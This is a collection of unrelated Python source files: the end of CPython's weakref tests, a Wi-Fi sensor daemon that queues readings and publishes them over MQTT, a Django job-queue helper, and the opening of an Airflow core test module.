# Issue #7105: iterators shouldn't crash when a key is implicitly removed
dict, objects = self.make_weak_valued_dict()
self.check_weak_destroy_while_iterating(dict, objects, 'keys')
self.check_weak_destroy_while_iterating(dict, objects, 'items')
self.check_weak_destroy_while_iterating(dict, objects, 'values')
self.check_weak_destroy_while_iterating(dict, objects, 'itervaluerefs')
self.check_weak_destroy_while_iterating(dict, objects, 'valuerefs')
dict, objects = self.make_weak_valued_dict()
@contextlib.contextmanager
def testcontext():
try:
it = iter(dict.items())
next(it)
# Schedule a key/value for removal and recreate it
k = objects.pop().arg
gc.collect() # just in case
yield k, Object(k)
finally:
it = None # should commit all removals
gc.collect()
self.check_weak_destroy_and_mutate_while_iterating(dict, testcontext)
dict, objects = self.make_weak_valued_dict()
self.check_weak_del_and_len_while_iterating(dict, testcontext)
def test_make_weak_keyed_dict_from_dict(self):
o = Object(3)
dict = weakref.WeakKeyDictionary({o:364})
self.assertEqual(dict[o], 364)
def test_make_weak_keyed_dict_from_weak_keyed_dict(self):
o = Object(3)
dict = weakref.WeakKeyDictionary({o:364})
dict2 = weakref.WeakKeyDictionary(dict)
self.assertEqual(dict[o], 364)
def make_weak_keyed_dict(self):
dict = weakref.WeakKeyDictionary()
objects = list(map(Object, range(self.COUNT)))
for o in objects:
dict[o] = o.arg
return dict, objects
def test_make_weak_valued_dict_from_dict(self):
o = Object(3)
dict = weakref.WeakValueDictionary({364:o})
self.assertEqual(dict[364], o)
def test_make_weak_valued_dict_from_weak_valued_dict(self):
o = Object(3)
dict = weakref.WeakValueDictionary({364:o})
dict2 = weakref.WeakValueDictionary(dict)
self.assertEqual(dict[364], o)
def test_make_weak_valued_dict_misc(self):
# errors
self.assertRaises(TypeError, weakref.WeakValueDictionary.__init__)
self.assertRaises(TypeError, weakref.WeakValueDictionary, {}, {})
self.assertRaises(TypeError, weakref.WeakValueDictionary, (), ())
# special keyword arguments
o = Object(3)
for kw in 'self', 'dict', 'other', 'iterable':
d = weakref.WeakValueDictionary(**{kw: o})
self.assertEqual(list(d.keys()), [kw])
self.assertEqual(d[kw], o)
def make_weak_valued_dict(self):
dict = weakref.WeakValueDictionary()
objects = list(map(Object, range(self.COUNT)))
for o in objects:
dict[o.arg] = o
return dict, objects
def check_popitem(self, klass, key1, value1, key2, value2):
weakdict = klass()
weakdict[key1] = value1
weakdict[key2] = value2
self.assertEqual(len(weakdict), 2)
k, v = weakdict.popitem()
self.assertEqual(len(weakdict), 1)
if k is key1:
self.assertIs(v, value1)
else:
self.assertIs(v, value2)
k, v = weakdict.popitem()
self.assertEqual(len(weakdict), 0)
if k is key1:
self.assertIs(v, value1)
else:
self.assertIs(v, value2)
def test_weak_valued_dict_popitem(self):
self.check_popitem(weakref.WeakValueDictionary,
"key1", C(), "key2", C())
def test_weak_keyed_dict_popitem(self):
self.check_popitem(weakref.WeakKeyDictionary,
C(), "value 1", C(), "value 2")
def check_setdefault(self, klass, key, value1, value2):
self.assertIsNot(value1, value2,
"invalid test"
" -- value parameters must be distinct objects")
weakdict = klass()
o = weakdict.setdefault(key, value1)
self.assertIs(o, value1)
self.assertIn(key, weakdict)
self.assertIs(weakdict.get(key), value1)
self.assertIs(weakdict[key], value1)
o = weakdict.setdefault(key, value2)
self.assertIs(o, value1)
self.assertIn(key, weakdict)
self.assertIs(weakdict.get(key), value1)
self.assertIs(weakdict[key], value1)
def test_weak_valued_dict_setdefault(self):
self.check_setdefault(weakref.WeakValueDictionary,
"key", C(), C())
def test_weak_keyed_dict_setdefault(self):
self.check_setdefault(weakref.WeakKeyDictionary,
C(), "value 1", "value 2")
def check_update(self, klass, dict):
#
# This exercises d.update(), len(d), d.keys(), k in d,
# d.get(), d[].
#
weakdict = klass()
weakdict.update(dict)
self.assertEqual(len(weakdict), len(dict))
for k in weakdict.keys():
self.assertIn(k, dict, "mysterious new key appeared in weak dict")
v = dict.get(k)
self.assertIs(v, weakdict[k])
self.assertIs(v, weakdict.get(k))
for k in dict.keys():
self.assertIn(k, weakdict, "original key disappeared in weak dict")
v = dict[k]
self.assertIs(v, weakdict[k])
self.assertIs(v, weakdict.get(k))
def test_weak_valued_dict_update(self):
self.check_update(weakref.WeakValueDictionary,
{1: C(), 'a': C(), C(): C()})
# errors
self.assertRaises(TypeError, weakref.WeakValueDictionary.update)
d = weakref.WeakValueDictionary()
self.assertRaises(TypeError, d.update, {}, {})
self.assertRaises(TypeError, d.update, (), ())
self.assertEqual(list(d.keys()), [])
# special keyword arguments
o = Object(3)
for kw in 'self', 'dict', 'other', 'iterable':
d = weakref.WeakValueDictionary()
d.update(**{kw: o})
self.assertEqual(list(d.keys()), [kw])
self.assertEqual(d[kw], o)
def test_weak_keyed_dict_update(self):
self.check_update(weakref.WeakKeyDictionary,
{C(): 1, C(): 2, C(): 3})
def test_weak_keyed_delitem(self):
d = weakref.WeakKeyDictionary()
o1 = Object('1')
o2 = Object('2')
d[o1] = 'something'
d[o2] = 'something'
self.assertEqual(len(d), 2)
del d[o1]
self.assertEqual(len(d), 1)
self.assertEqual(list(d.keys()), [o2])
def test_weak_valued_delitem(self):
d = weakref.WeakValueDictionary()
o1 = Object('1')
o2 = Object('2')
d['something'] = o1
d['something else'] = o2
self.assertEqual(len(d), 2)
del d['something']
self.assertEqual(len(d), 1)
self.assertEqual(list(d.items()), [('something else', o2)])
def test_weak_keyed_bad_delitem(self):
d = weakref.WeakKeyDictionary()
o = Object('1')
# An attempt to delete an object that isn't there should raise
# KeyError. It didn't before 2.3.
self.assertRaises(KeyError, d.__delitem__, o)
self.assertRaises(KeyError, d.__getitem__, o)
# If a key isn't of a weakly referencable type, __getitem__ and
# __setitem__ raise TypeError. __delitem__ should too.
self.assertRaises(TypeError, d.__delitem__, 13)
self.assertRaises(TypeError, d.__getitem__, 13)
self.assertRaises(TypeError, d.__setitem__, 13, 13)
def test_weak_keyed_cascading_deletes(self):
# SF bug 742860. For some reason, before 2.3 __delitem__ iterated
# over the keys via self.data.iterkeys(). If things vanished from
# the dict during this (or got added), that caused a RuntimeError.
d = weakref.WeakKeyDictionary()
mutate = False
class C(object):
def __init__(self, i):
self.value = i
def __hash__(self):
return hash(self.value)
def __eq__(self, other):
if mutate:
# Side effect that mutates the dict, by removing the
# last strong reference to a key.
del objs[-1]
return self.value == other.value
objs = [C(i) for i in range(4)]
for o in objs:
d[o] = o.value
del o # now the only strong references to keys are in objs
# Find the order in which iterkeys sees the keys.
objs = list(d.keys())
# Reverse it, so that the iteration implementation of __delitem__
# has to keep looping to find the first object we delete.
objs.reverse()
# Turn on mutation in C.__eq__. The first time thru the loop,
# under the iterkeys() business the first comparison will delete
# the last item iterkeys() would see, and that causes a
# RuntimeError: dictionary changed size during iteration
# when the iterkeys() loop goes around to try comparing the next
# key. After this was fixed, it just deletes the last object *our*
# "for o in obj" loop would have gotten to.
mutate = True
count = 0
for o in objs:
count += 1
del d[o]
self.assertEqual(len(d), 0)
self.assertEqual(count, 2)
def test_make_weak_valued_dict_repr(self):
dict = weakref.WeakValueDictionary()
self.assertRegex(repr(dict), '<WeakValueDictionary at 0x.*>')
def test_make_weak_keyed_dict_repr(self):
dict = weakref.WeakKeyDictionary()
self.assertRegex(repr(dict), '<WeakKeyDictionary at 0x.*>')
def test_threaded_weak_valued_setdefault(self):
d = weakref.WeakValueDictionary()
with collect_in_thread():
for i in range(100000):
x = d.setdefault(10, RefCycle())
self.assertIsNot(x, None) # we never put None in there!
del x
def test_threaded_weak_valued_pop(self):
d = weakref.WeakValueDictionary()
with collect_in_thread():
for i in range(100000):
d[10] = RefCycle()
x = d.pop(10, 10)
self.assertIsNot(x, None) # we never put None in there!
def test_threaded_weak_valued_consistency(self):
# Issue #28427: old keys should not remove new values from
# WeakValueDictionary when collecting from another thread.
d = weakref.WeakValueDictionary()
with collect_in_thread():
for i in range(200000):
o = RefCycle()
d[10] = o
# o is still alive, so the dict can't be empty
self.assertEqual(len(d), 1)
o = None # lose ref
from test import mapping_tests
class WeakValueDictionaryTestCase(mapping_tests.BasicTestMappingProtocol):
"""Check that WeakValueDictionary conforms to the mapping protocol"""
__ref = {"key1":Object(1), "key2":Object(2), "key3":Object(3)}
type2test = weakref.WeakValueDictionary
def _reference(self):
return self.__ref.copy()
class WeakKeyDictionaryTestCase(mapping_tests.BasicTestMappingProtocol):
"""Check that WeakKeyDictionary conforms to the mapping protocol"""
__ref = {Object("key1"):1, Object("key2"):2, Object("key3"):3}
type2test = weakref.WeakKeyDictionary
def _reference(self):
return self.__ref.copy()
class FinalizeTestCase(unittest.TestCase):
class A:
pass
def _collect_if_necessary(self):
# we create no ref-cycles so in CPython no gc should be needed
if sys.implementation.name != 'cpython':
support.gc_collect()
def test_finalize(self):
def add(x,y,z):
res.append(x + y + z)
return x + y + z
a = self.A()
res = []
f = weakref.finalize(a, add, 67, 43, z=89)
self.assertEqual(f.alive, True)
self.assertEqual(f.peek(), (a, add, (67,43), {'z':89}))
self.assertEqual(f(), 199)
self.assertEqual(f(), None)
self.assertEqual(f(), None)
self.assertEqual(f.peek(), None)
self.assertEqual(f.detach(), None)
self.assertEqual(f.alive, False)
self.assertEqual(res, [199])
res = []
f = weakref.finalize(a, add, 67, 43, 89)
self.assertEqual(f.peek(), (a, add, (67,43,89), {}))
self.assertEqual(f.detach(), (a, add, (67,43,89), {}))
self.assertEqual(f(), None)
self.assertEqual(f(), None)
self.assertEqual(f.peek(), None)
self.assertEqual(f.detach(), None)
self.assertEqual(f.alive, False)
self.assertEqual(res, [])
res = []
f = weakref.finalize(a, add, x=67, y=43, z=89)
del a
self._collect_if_necessary()
self.assertEqual(f(), None)
self.assertEqual(f(), None)
self.assertEqual(f.peek(), None)
self.assertEqual(f.detach(), None)
self.assertEqual(f.alive, False)
self.assertEqual(res, [199])
def test_order(self):
a = self.A()
res = []
f1 = weakref.finalize(a, res.append, 'f1')
f2 = weakref.finalize(a, res.append, 'f2')
f3 = weakref.finalize(a, res.append, 'f3')
f4 = weakref.finalize(a, res.append, 'f4')
f5 = weakref.finalize(a, res.append, 'f5')
# make sure finalizers can keep themselves alive
del f1, f4
self.assertTrue(f2.alive)
self.assertTrue(f3.alive)
self.assertTrue(f5.alive)
self.assertTrue(f5.detach())
self.assertFalse(f5.alive)
f5() # nothing because previously unregistered
res.append('A')
f3() # => res.append('f3')
self.assertFalse(f3.alive)
res.append('B')
f3() # nothing because previously called
res.append('C')
del a
self._collect_if_necessary()
# => res.append('f4')
# => res.append('f2')
# => res.append('f1')
self.assertFalse(f2.alive)
res.append('D')
f2() # nothing because previously called by gc
expected = ['A', 'f3', 'B', 'C', 'f4', 'f2', 'f1', 'D']
self.assertEqual(res, expected)
def test_all_freed(self):
# we want a weakrefable subclass of weakref.finalize
class MyFinalizer(weakref.finalize):
pass
a = self.A()
res = []
def callback():
res.append(123)
f = MyFinalizer(a, callback)
wr_callback = weakref.ref(callback)
wr_f = weakref.ref(f)
del callback, f
self.assertIsNotNone(wr_callback())
self.assertIsNotNone(wr_f())
del a
self._collect_if_necessary()
self.assertIsNone(wr_callback())
self.assertIsNone(wr_f())
self.assertEqual(res, [123])
@classmethod
def run_in_child(cls):
def error():
# Create an atexit finalizer from inside a finalizer called
# at exit. This should be the next to be run.
g1 = weakref.finalize(cls, print, 'g1')
print('f3 error')
1/0
# cls should stay alive till atexit callbacks run
f1 = weakref.finalize(cls, print, 'f1', _global_var)
f2 = weakref.finalize(cls, print, 'f2', _global_var)
f3 = weakref.finalize(cls, error)
f4 = weakref.finalize(cls, print, 'f4', _global_var)
assert f1.atexit == True
f2.atexit = False
assert f3.atexit == True
assert f4.atexit == True
def test_atexit(self):
prog = ('from test.test_weakref import FinalizeTestCase;'+
'FinalizeTestCase.run_in_child()')
rc, out, err = script_helper.assert_python_ok('-c', prog)
out = out.decode('ascii').splitlines()
self.assertEqual(out, ['f4 foobar', 'f3 error', 'g1', 'f1 foobar'])
self.assertTrue(b'ZeroDivisionError' in err)
libreftest = """ Doctest for examples in the library reference: weakref.rst
>>> import weakref
>>> class Dict(dict):
... pass
...
>>> obj = Dict(red=1, green=2, blue=3) # this object is weak referencable
>>> r = weakref.ref(obj)
>>> print(r() is obj)
True
>>> import weakref
>>> class Object:
... pass
...
>>> o = Object()
>>> r = weakref.ref(o)
>>> o2 = r()
>>> o is o2
True
>>> del o, o2
>>> print(r())
None
>>> import weakref
>>> class ExtendedRef(weakref.ref):
... def __init__(self, ob, callback=None, **annotations):
... super().__init__(ob, callback)
... self.__counter = 0
... for k, v in annotations.items():
... setattr(self, k, v)
... def __call__(self):
... '''Return a pair containing the referent and the number of
... times the reference has been called.
... '''
... ob = super().__call__()
... if ob is not None:
... self.__counter += 1
... ob = (ob, self.__counter)
... return ob
...
>>> class A: # not in docs from here, just testing the ExtendedRef
... pass
...
>>> a = A()
>>> r = ExtendedRef(a, foo=1, bar="baz")
>>> r.foo
1
>>> r.bar
'baz'
>>> r()[1]
1
>>> r()[1]
2
>>> r()[0] is a
True
>>> import weakref
>>> _id2obj_dict = weakref.WeakValueDictionary()
>>> def remember(obj):
... oid = id(obj)
... _id2obj_dict[oid] = obj
... return oid
...
>>> def id2obj(oid):
... return _id2obj_dict[oid]
...
>>> a = A() # from here, just testing
>>> a_id = remember(a)
>>> id2obj(a_id) is a
True
>>> del a
>>> try:
... id2obj(a_id)
... except KeyError:
... print('OK')
... else:
... print('WeakValueDictionary error')
OK
"""
__test__ = {'libreftest' : libreftest}
def test_main():
support.run_unittest(
ReferencesTestCase,
WeakMethodTestCase,
MappingTestCase,
WeakValueDictionaryTestCase,
WeakKeyDictionaryTestCase,
SubclassableWeakrefTestCase,
FinalizeTestCase,
)
support.run_doctest(sys.modules[__name__])
if __name__ == "__main__":
test_main()
|
main.py
|
import argparse
from datetime import datetime
import gzip
import json
import logging
import os
import signal
import socket
import struct
import sys
import subprocess
from threading import Thread
import time
from urllib.parse import urlparse
import logging.handlers
import msgpack
from persistent_queue import PersistentQueue
import pkg_resources
import yaml
import paho.mqtt.client as paho
import time
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s:%(threadName)s:%(levelname)s:'
'%(name)s:%(message)s',
handlers=[
logging.handlers.TimedRotatingFileHandler(
'sensor.log', when='midnight', backupCount=7,
delay=True,
encoding="utf8"),
logging.StreamHandler()])
LOGGER = logging.getLogger(__name__)
RUNNING = True
# Read data from the sensor
def read_data(output_sensors, input_sensors, queue):
sequence_number = 0
for sensor in input_sensors:
sensor.status("Starting sensors")
LOGGER.info("Starting sensors")
for sensor in output_sensors:
sensor.start()
while RUNNING:
try:
# Sleep
for _ in range(60):
if not RUNNING:
break
time.sleep(1)
now = time.time()
sequence_number += 1
data = {"sample_time": int(now * 1e6),
"data": {"sequence": sequence_number,
"queue_length": len(queue) + 1},
"metadata": {"firmware": get_firmware_version()}}
LOGGER.info("Getting new data from sensors")
for sensor in output_sensors:
data['data'].update(sensor.read())
# Save data for later
LOGGER.debug("Pushing %s into queue", data)
queue.push(data)
# Write data to input sensors
for sensor in input_sensors:
sensor.data(data)
# Every 10 minutes, update time
if sequence_number % 10 == 0:
Thread(target=update_clock).start()
except KeyboardInterrupt:
break
except Exception:
# Keep going no matter of the exception
# Hopefully it will fix itself
LOGGER.exception("An exception occurred!")
if RUNNING:
LOGGER.debug("Waiting 15 seconds and then trying again")
time.sleep(15)
continue
LOGGER.debug("Exiting read loop")
def get_firmware_version():
return subprocess.check_output(["git", "describe"]).strip().decode()
def update_clock():
try:
LOGGER.debug("Trying to update clock")
subprocess.run("ntpdate -b -s -u pool.ntp.org", shell=True, check=True, timeout=45)
LOGGER.debug("Updated to current time")
except (subprocess.TimeoutExpired, subprocess.CalledProcessError):
LOGGER.warning("Unable to update time")
def load_sensors(config_file):
import importlib
sensors = load_sensor_files(config_file)
input_sensors = []
output_sensors = []
for sensor, config in sensors:
LOGGER.info("Loading %s", sensor)
module = importlib.import_module(sensor)
# Make sure module has proper method
if not hasattr(module, 'setup_sensor'):
LOGGER.error("Sensor must have setup_sensor function. Skipping...")
continue
for req in getattr(module, 'REQUIREMENTS', []):
if not install_package(req):
LOGGER.error('Not initializing %s because could not install '
'dependency %s', sensor, req)
continue
LOGGER.info("Setting up %s", sensor)
sensor = module.setup_sensor(config)
if sensor is None:
LOGGER.error("\"setup_sensor\" returned None, skipping...")
continue
if sensor.type == 'input':
input_sensors.append(sensor)
elif sensor.type == 'output':
output_sensors.append(sensor)
else:
print('Unknown sensor type')
return input_sensors, output_sensors
def load_sensor_files(config_file):
with open(config_file) as f:
config = yaml.safe_load(f)
for component, component_configs in config['sensors'].items():
# Make sure component_configs is a list
if component_configs is None:
component_configs = [None]
elif isinstance(component_configs, dict):
component_configs = [component_configs]
for component_config in component_configs:
if component == 'device':
# Ignore device specific configuration: it is not a sensor
continue
if not os.path.exists(os.path.join('sensors', component)) and \
not os.path.exists(os.path.join('sensors', component) + '.py'):
LOGGER.error("Can not find %s", component)
else:
yield 'sensors.{}'.format(component), component_config
def check_package_exists(package):
try:
req = pkg_resources.Requirement.parse(package)
except ValueError:
# This is a zip file
req = pkg_resources.Requirement.parse(urlparse(package).fragment)
return any(dist in req for dist in pkg_resources.working_set)
def decode_dict(value):
"""Recursively converts dictionary keys to strings."""
if not isinstance(value, dict):
if isinstance(value, bytes):
return value.decode()
else:
return value
return {k.decode(): decode_dict(v) for k, v in value.items()}
def install_package(package):
if check_package_exists(package):
return True
LOGGER.info('Attempting install of %s', package)
args = [sys.executable, '-m', 'pip', 'install', package, '--upgrade']
LOGGER.debug(' '.join(args))
try:
return subprocess.call(args) == 0
except subprocess.SubprocessError:
LOGGER.exception('Unable to install package %s', package)
return False
def on_connect(cli, ud, flag, rc):
if rc==0:
LOGGER.info("connected OK rc:" + str(rc))
else:
LOGGER.error("Bad connection: Returned code=%s",rc)
def on_publish(client, userdata, mid):
LOGGER.info("Publish successful: Mid- "+str(mid))
def on_disconnect(cli, ud, rc):
LOGGER.info("Disconnected: rc-" + str(rc))
def main(config_file):
# Load config file
try:
with open(config_file, 'r') as ymlfile:
cfg = yaml.safe_load(ymlfile)
except:
LOGGER.error("Error loading config file")
exit()
mqtt_cfg = cfg['mqtt']
# Load MQTT username and password
try:
mqtt_cfg['uname'] = os.environ['MQTT_USERNAME']
mqtt_cfg['password'] = os.environ['MQTT_PASSWORD']
except KeyError:
LOGGER.error("MQTT_USERNAME or MQTT_PASSWORD have not been defined")
exit()
input_sensors, output_sensors = load_sensors(config_file)
for sensor in input_sensors:
sensor.start()
def status(message):
for sensor in input_sensors:
sensor.status(message)
# Turn off WiFi
status("Turning off WiFi")
try:
subprocess.run("iwconfig 2> /dev/null | grep -o '^[[:alnum:]]\+' | while read x; do ifdown $x; done",
shell=True)
except Exception:
LOGGER.exception("Exception while turning off WiFi")
# Wait for 15 seconds
for i in reversed(range(15)):
status("Waiting ({})".format(i))
time.sleep(1)
# Turn on WiFi
status("Turning on WiFi")
try:
subprocess.run("iwconfig 2> /dev/null | grep -o '^[[:alnum:]]\+' | while read x; do ifup $x; done",
shell=True)
except Exception:
LOGGER.exception("Exception while turning on WiFi")
# Wait for 5 seconds
for i in reversed(range(5)):
status("Waiting ({})".format(i))
time.sleep(1)
try:
status("Updating clock")
subprocess.run("ntpdate -b -s -u pool.ntp.org", shell=True, check=True, timeout=120)
LOGGER.debug("Updated to current time")
except (subprocess.TimeoutExpired, subprocess.CalledProcessError):
LOGGER.warning("Unable to update time")
status("Loading queue")
LOGGER.info("Loading persistent queue")
queue = PersistentQueue('sensor.queue',
dumps=msgpack.packb,
loads=msgpack.unpackb)
bad_queue = PersistentQueue('sensor.bad_queue',
dumps=msgpack.packb,
loads=msgpack.unpackb)
# Start reading from sensors
sensor_thread = Thread(target=read_data, args=(output_sensors, input_sensors, queue))
sensor_thread.start()
# Create mqtt client
client = paho.Client()
client.username_pw_set(username=mqtt_cfg['uname'], password=mqtt_cfg['password'])
# Define callabcks
client.on_connect=on_connect
client.on_publish = on_publish
client.on_disconnect=on_disconnect
# Reconnect interval on disconnect
client.reconnect_delay_set(3)
if 'ca_certs' in mqtt_cfg:
client.tls_set(ca_certs=mqtt_cfg['ca_certs'])
# Establish client connection
while True:
try:
LOGGER.info("Trying to connect to borker")
client.connect(mqtt_cfg['server'], mqtt_cfg['port'])
LOGGER.info("Client connected successfully to broker")
break
except:
LOGGER.exception("Connection failure...trying to reconnect...")
time.sleep(15)
client.loop_start()
# Continuously get data from queue and publish to broker
while True:
try:
LOGGER.info("Waiting for data in queue")
data = queue.peek(blocking=True)
data = decode_dict(data)
data = json.dumps(data)
info = client.publish("epifi/v1/{}".format(mqtt_cfg['uname']), data, qos=1)
info.wait_for_publish()
while info.rc != 0:
time.sleep(10)
info=client.publish("epifi/v1/{}".format(mqtt_cfg['uname']), data, qos=1)
info.wait_for_publish()
LOGGER.info("Deleting data from queue")
queue.delete()
queue.flush()
for sensor in input_sensors:
sensor.transmitted_data(len(queue))
except KeyboardInterrupt:
global RUNNING
RUNNING = False
for sensor in output_sensors + input_sensors:
LOGGER.debug("Stopping %s", sensor.name)
sensor.stop()
break
except msgpack.exceptions.UnpackValueError as e:
LOGGER.exception("Unable to unpack data")
break
except Exception as e:
bad_data=queue.peek()
LOGGER.error("Exception- %s occurred while listening to data %s", e,str(bad_data))
LOGGER.info("Pushing data into bad queue")
error_msg={"message":(str(e)), "data":(str(data))}
bad_queue.push(error_msg)
queue.delete()
queue.flush()
LOGGER.debug("Waiting for sensor thread")
sensor_thread.join()
LOGGER.debug("Shutting down client")
client.loop_stop()
LOGGER.debug("Quitting...")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Generalized WiFi sensor')
parser.add_argument('-c', '--config', default='configuration.yaml',
help='Configuration file. The default is the ' \
'configuration.yaml in the current directory.')
args = parser.parse_args()
main(args.config)
|
queue.py
|
import os
import redis
import threading
from rq import Queue
from typing import Callable
from django.conf import settings
redis_url = os.getenv('REDISTOGO_URL', 'redis://localhost:6379')
conn = redis.from_url(redis_url)
q = settings.REDIS_ENABLED and Queue(connection=conn)
def enqueue(job_func: Callable, *args):
if settings.REDIS_ENABLED:
job = q.enqueue(job_func, *args)
from pprint import pprint
pprint(job)
return job
else:
# If redis is not enabled, use thread
thread = threading.Thread(target=job_func, args=args)
thread.daemon = True
thread.start()
|
test_core.py
|
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import logging
import multiprocessing
import os
import signal
import unittest
from datetime import timedelta
from time import sleep
from unittest.mock import MagicMock
import pytest
from airflow import settings
from airflow.exceptions import AirflowException, AirflowTaskTimeout
from airflow.hooks.base import BaseHook
from airflow.jobs.local_task_job import LocalTaskJob
from airflow.models import DagBag, DagRun, TaskFail, TaskInstance
from airflow.models.baseoperator import BaseOperator
from airflow.models.dag import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.check_operator import CheckOperator, ValueCheckOperator
from airflow.operators.dummy import DummyOperator
from airflow.operators.python import PythonOperator
from airflow.settings import Session
from airflow.utils.state import State
from airflow.utils.timezone import datetime
from airflow.utils.types import DagRunType
from tests.test_utils.config import conf_vars
from tests.test_utils.db import clear_db_dags, clear_db_runs
DEV_NULL = '/dev/null'
DEFAULT_DATE = datetime(2015, 1, 1)
TEST_DAG_ID = 'unit_tests'
class OperatorSubclass(BaseOperator):
"""
An operator to test template substitution
"""
template_fields = ['some_templated_field']
def __init__(self, some_templated_field, *args, **kwargs):
super().__init__(*args, **kwargs)
self.some_templated_field = some_templated_field
def execute(self, context):
pass
class TestCore(unittest.TestCase):
default_scheduler_args = {"num_runs": 1}
def setUp(self):
self.dagbag = DagBag(dag_folder=DEV_NULL, include_examples=True, read_dags_from_db=False)
self.args = {'owner': 'airflow', 'start_date': DEFAULT_DATE}
self.dag = DAG(TEST_DAG_ID, default_args=self.args)
self.dag_bash = self.dagbag.dags['example_bash_operator']
self.runme_0 = self.dag_bash.get_task('runme_0')
self.run_after_loop = self.dag_bash.get_task('run_after_loop')
self.run_this_last = self.dag_bash.get_task('run_this_last')
def tearDown(self):
session = Session()
session.query(DagRun).filter(DagRun.dag_id == TEST_DAG_ID).delete(synchronize_session=False)
session.query(TaskInstance).filter(TaskInstance.dag_id == TEST_DAG_ID).delete(
synchronize_session=False
)
session.query(TaskFail).filter(TaskFail.dag_id == TEST_DAG_ID).delete(synchronize_session=False)
session.commit()
session.close()
clear_db_dags()
clear_db_runs()
def test_check_operators(self):
conn_id = "sqlite_default"
captain_hook = BaseHook.get_hook(conn_id=conn_id) # quite funny :D
captain_hook.run("CREATE TABLE operator_test_table (a, b)")
captain_hook.run("insert into operator_test_table values (1,2)")
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op = CheckOperator(
task_id='check', sql="select count(*) from operator_test_table", conn_id=conn_id, dag=self.dag
)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
op = ValueCheckOperator(
task_id='value_check',
pass_value=95,
tolerance=0.1,
conn_id=conn_id,
sql="SELECT 100",
dag=self.dag,
)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
captain_hook.run("drop table operator_test_table")
def test_clear_api(self):
task = self.dag_bash.tasks[0]
task.clear(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, upstream=True, downstream=True)
ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.are_dependents_done()
def test_illegal_args(self):
"""
Tests that Operators reject illegal arguments
"""
msg = 'Invalid arguments were passed to BashOperator (task_id: test_illegal_args).'
with conf_vars({('operators', 'allow_illegal_arguments'): 'True'}):
with pytest.warns(PendingDeprecationWarning) as warnings:
BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=self.dag,
illegal_argument_1234='hello?',
)
assert any(msg in str(w) for w in warnings)
def test_illegal_args_forbidden(self):
"""
Tests that operators raise exceptions on illegal arguments when
illegal arguments are not allowed.
"""
with pytest.raises(AirflowException) as ctx:
BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=self.dag,
illegal_argument_1234='hello?',
)
assert 'Invalid arguments were passed to BashOperator (task_id: test_illegal_args).' in str(ctx.value)
def test_bash_operator(self):
op = BashOperator(task_id='test_bash_operator', bash_command="echo success", dag=self.dag)
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_bash_operator_multi_byte_output(self):
op = BashOperator(
task_id='test_multi_byte_bash_operator',
bash_command="echo \u2600",
dag=self.dag,
output_encoding='utf-8',
)
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_bash_operator_kill(self):
import psutil
sleep_time = "100%d" % os.getpid()
op = BashOperator(
task_id='test_bash_operator_kill',
execution_timeout=timedelta(seconds=1),
bash_command=f"/bin/bash -c 'sleep {sleep_time}'",
dag=self.dag,
)
with pytest.raises(AirflowTaskTimeout):
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
sleep(2)
pid = -1
for proc in psutil.process_iter():
if proc.cmdline() == ['sleep', sleep_time]:
pid = proc.pid
if pid != -1:
os.kill(pid, signal.SIGTERM)
self.fail("BashOperator's subprocess still running after stopping on timeout!")
def test_on_failure_callback(self):
mock_failure_callback = MagicMock()
op = BashOperator(
task_id='check_on_failure_callback',
bash_command="exit 1",
dag=self.dag,
on_failure_callback=mock_failure_callback,
)
with pytest.raises(AirflowException):
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
mock_failure_callback.assert_called_once()
def test_dryrun(self):
op = BashOperator(task_id='test_dryrun', bash_command="echo success", dag=self.dag)
op.dry_run()
def test_sqlite(self):
import airflow.providers.sqlite.operators.sqlite
op = airflow.providers.sqlite.operators.sqlite.SqliteOperator(
task_id='time_sqlite', sql="CREATE TABLE IF NOT EXISTS unitest (dummy VARCHAR(20))", dag=self.dag
)
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_timeout(self):
op = PythonOperator(
task_id='test_timeout',
execution_timeout=timedelta(seconds=1),
python_callable=lambda: sleep(5),
dag=self.dag,
)
with pytest.raises(AirflowTaskTimeout):
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_python_op(self):
def test_py_op(templates_dict, ds, **kwargs):
if not templates_dict['ds'] == ds:
raise Exception("failure")
op = PythonOperator(
task_id='test_py_op', python_callable=test_py_op, templates_dict={'ds': "{{ ds }}"}, dag=self.dag
)
self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE)
op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_complex_template(self):
def verify_templated_field(context):
assert context['ti'].task.some_templated_field['bar'][1] == context['ds']
op = OperatorSubclass(
task_id='test_complex_template',
